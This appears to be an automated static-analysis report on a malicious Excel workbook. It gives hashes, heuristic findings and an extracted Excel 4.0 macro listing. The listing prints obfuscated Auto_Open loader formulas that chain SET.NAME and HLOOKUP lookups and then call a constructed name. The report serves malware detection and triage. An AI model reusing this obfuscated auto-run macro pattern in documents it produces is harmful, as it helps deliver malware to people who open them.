Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4425beca4ab8d18…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:42 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 94699948fa4657b7b6a27ef4d3e7e039 SHA-1: a528450c07b362446aa3db628efa2ea35f92eb5a SHA-256: a4425beca4ab8d18a0ea9a15d170c73f7e9ab427dff2789f68d8e81ec9c945a4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6883 bytes
SHA-256: 22d7ae9d7a74a68bbfa799ca7dc18d4ae3286940f7f4277b0cac80d0bd6704fe
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LUMgvUWvTN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G154 
' 0018     23 LABEL : Cell Value, String Constant - bvqlnrCE len=0 
' 0018     26 LABEL : Cell Value, String Constant - csOWvuggAyL len=0 
' 0018     21 LABEL : Cell Value, String Constant - damKNG len=0 
' 0018     22 LABEL : Cell Value, String Constant - DFFrogc len=0 
' 0018     21 LABEL : Cell Value, String Constant - DhtwAm len=0 
' 0018     26 LABEL : Cell Value, String Constant - DTRXaapHKhj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ghEtJlLWhFWR len=0 
' 0018     23 LABEL : Cell Value, String Constant - JUIlZVDH len=0 
' 0018     22 LABEL : Cell Value, String Constant - LlWIAba len=0 
' 0018     24 LABEL : Cell Value, String Constant - nzdVDTuBD len=0 
' 0018     21 LABEL : Cell Value, String Constant - plkwrF len=0 
' 0018     25 LABEL : Cell Value, String Constant - RdRzKDKScu len=0 
' 0018     25 LABEL : Cell Value, String Constant - RKeWULfhZd len=0 
' 0018     21 LABEL : Cell Value, String Constant - RLlrgX len=0 
' 0018     26 LABEL : Cell Value, String Constant - RouPBynpxee len=0 
' 0018     25 LABEL : Cell Value, String Constant - uDaCurAlNE len=0 
' 0018     22 LABEL : Cell Value, String Constant - XdkWCda len=0 
' 0018     20 LABEL : Cell Value, String Constant - xsplp len=0 
' 0018     24 LABEL : Cell Value, String Constant - yAOyWBFVP len=0 
' 0018     21 LABEL : Cell Value, String Constant - YpPkFI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LUMgvUWvTN,S60,"",-528.00000000000000000000
'  LUMgvUWvTN,S61,"",-913.00000000000000000000
'  LUMgvUWvTN,S62,"",291.00000000000000000000
'  LUMgvUWvTN,G63,"SET.NAME("DTRXaapHKhj",0+VALUE("0"))",""
'  LUMgvUWvTN,S63,"",-466.00000000000000000000
'  LUMgvUWvTN,S64,"",962.00000000000000000000
'  LUMgvUWvTN,S65,"",136.00000000000000000000
'  LUMgvUWvTN,G67,"SET.NAME("RouPBynpxee",DTRXaapHKhj)",""
'  LUMgvUWvTN,G72,"SET.NAME("xsplp",DTRXaapHKhj)",""
'  LUMgvUWvTN,G75,"SET.NAME("plkwrF",COUNTA(damKNG))",""
'  LUMgvUWvTN,G77,"SET.NAME("yAOyWBFVP",COUNTA(nzdVDTuBD))",""
'  LUMgvUWvTN,G79,[],""
'  LUMgvUWvTN,G83,"SET.NAME("XdkWCda","")",""
'  LUMgvUWvTN,G85,"RouPBynpxee",""
'  LUMgvUWvTN,G88,"SET.NAME("DFFrogc",HLOOKUP("*",damKNG,RouPBynpxee,FALSE))",""
'  LUMgvUWvTN,G91,"RLlrgX",""
'  LUMgvUWvTN,G95,"SET.NAME("JUIlZVDH",DTRXaapHKhj)",""
'  LUMgvUWvTN,G98,[],""
'  LUMgvUWvTN,G102,"JUIlZVDH",""
'  LUMgvUWvTN,G105,"RdRzKDKScu",""
'  LUMgvUWvTN,G110,"csOWvuggAyL",""
'  LUMgvUWvTN,G114,"bvqlnrCE",""
'  LUMgvUWvTN,G116,"SET.NAME("RKeWULfhZd",VALUE(HLOOKUP("*",nzdVDTuBD,bvqlnrCE,FALSE)))",""
'  LUMgvUWvTN,G120,"LlWIAba",""
'  LUMgvUWvTN,G124,"XdkWCda",""
'  LUMgvUWvTN,G126,"xsplp",""
'  LUMgvUWvTN,G130,NEXT(),""
'  LUMgvUWvTN,G135,"YpPkFI",""
'  LUMgvUWvTN,G140,[],""
'  LUMgvUWvTN,G142,"uDaCurAlNE",""
'  LUMgvUWvTN,G146,NEXT(),""
'  LUMgvUWvTN,G150,RETURN(),""
'  LUMgvUWvTN,G179,"SET.NAME("ghEtJlLWhFWR",G63)",""
'  LUMgvUWvTN,G182,"damKNG",""
'  LUMgvUWvTN,G185,"SET.NAME("nzdVDTuBD",R49C12)",""
'  LUMgvUWvTN,G188,"SET.NAME("uDaCurAlNE",195)",""
'  LUMgvUWvTN,G191,"SET.NAME("DhtwAm",7)",""
'  LUMgvUWvTN,G194,ghEtJlLWhFWR(),""
'  LUMgvUWvTN,G195,HALT(),""

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